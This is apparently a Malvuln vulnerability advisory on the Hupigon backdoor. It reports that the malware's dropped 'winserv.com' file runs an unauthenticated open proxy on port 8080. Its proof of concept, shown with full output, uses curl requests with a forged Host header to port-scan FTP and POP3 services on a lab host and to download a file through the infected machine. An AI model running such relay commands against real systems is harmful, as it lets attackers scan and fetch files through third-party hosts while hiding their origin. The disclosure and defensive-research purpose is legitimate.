Backdoor.Win32.Hupigon.das malware has an unauthenticated open proxy functionality.
dca81b54259f4bc36685caef3c46225fDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/7afe56286039faf56d4184c476683340.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Hupigon.das
Vulnerability: Unauthenticated Open Proxy
Description: The malware drops an hidden executable named "winserv.com" under Windows dir, which accepts TCP connections on port 8080. Afterwards, it connects to a destination, and relays requests from the original connection to the destination and then back to the origination system. Attackers who can reach an infected system may launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: 7afe56286039faf56d4184c476683340
Vuln ID: MVID-2021-0166
Dropped files: winserv.com
Disclosure: 04/07/2021
Exploit/PoC:
Scan FTP port 21)
curl -v http://192.168.88.128:8080 -H "Host: 192.168.88.129:21"
* Rebuilt URL to: http://192.168.88.128:8080/
* Trying 192.168.88.128...
* TCP_NODELAY set
* Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.88.129:21
> User-Agent: curl/7.55.1
> Accept: */*
>
220 INetSim FTP Service ready.
Scan POP3 port 110)
curl -vv http://192.168.88.128:8080 -H "Host: 192.168.88.129:110"
* Rebuilt URL to: http://192.168.88.128:8080/
* Trying 192.168.88.128...
* TCP_NODELAY set
* Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.88.129:110
> User-Agent: curl/7.55.1
> Accept: */*
>
+OK INetSim POP3 Server ready <57612.1617679472@pop3host>
Download files, DOOM.exe lives on 88.129)
curl -v http://192.168.88.128:8080/DOOM.exe -H "Host: 192.168.88.129:2222" --out 2.exe
* Trying 192.168.88.128...
* TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
> GET /DOOM.exe HTTP/1.1
> Host: 192.168.88.129:2222
> User-Agent: curl/7.55.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.6
< Date: Tue, 06 Apr 2021 03:35:52 GMT
< Content-type: application/x-msdos-program
< Content-Length: 103533
< Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT
<
{ [83868 bytes data]
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 498k
* Closing connection 0
The executable dropped by this malware lives here, use attrib -s -h to unhide it.
C:\Windows>dir winserv.com
Volume in drive C has no label.
Directory of C:\Windows
File Not Found
C:\Windows>attrib -s -h winserv.com
C:\Windows>dir winserv.com
Volume in drive C has no label.
Directory of C:\Windows
06/16/2012 02:53 AM 780,288 winserv.com
1 File(s) 780,288 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).